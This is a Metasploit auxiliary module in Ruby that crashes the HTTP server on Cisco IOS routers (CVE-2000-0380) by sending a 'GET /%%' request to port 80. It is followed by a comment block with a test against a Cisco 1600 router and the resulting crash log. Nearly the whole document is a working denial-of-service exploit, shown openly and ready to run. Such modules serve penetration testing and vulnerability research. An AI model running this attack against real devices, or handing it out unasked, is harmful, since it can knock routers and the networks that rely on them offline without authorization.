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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Cisco IOS HTTP GET /%% Request Denial of Service',
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      'Description'    => %q{
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        This module triggers a Denial of Service condition in the Cisco IOS
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        HTTP server. By sending a GET request for "/%%", the device becomes
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        unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
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        tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
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      },
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      'Author' 		=> [ 'aushack' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'BID', '1154'],
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          [ 'CVE', '2000-0380'],
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          [ 'OSVDB', '1302' ],
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        ],
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      'DisclosureDate' => '2000-04-26'))
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    register_options(
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      [
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        Opt::RPORT(80),
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      ])
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  end
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  def run
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    connect
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    print_status("Sending HTTP DoS packet")
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    sploit = "GET /%% HTTP/1.0"
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    sock.put(sploit + "\r\n")
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    disconnect
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  end
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end
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=begin
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Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P
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IOS info:
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  IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P,  RELEASE SOFTWARE (fc1)
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  Copyright (c) 1986-1999 by cisco Systems, Inc.
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  Compiled Mon 12-Apr-99 14:53 by ashah
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Example crash:
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  %Software-forced reload
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  Preparing to dump core...
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  Router>
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  *Mar  1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server
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  -Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E
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  Queued messages:
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  *** EXCEPTION ***
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  software forced crash
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  program counter = 0x80eaca6
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  status register = 0x2700
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  vbr at time of exception = 0x4000000
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=end
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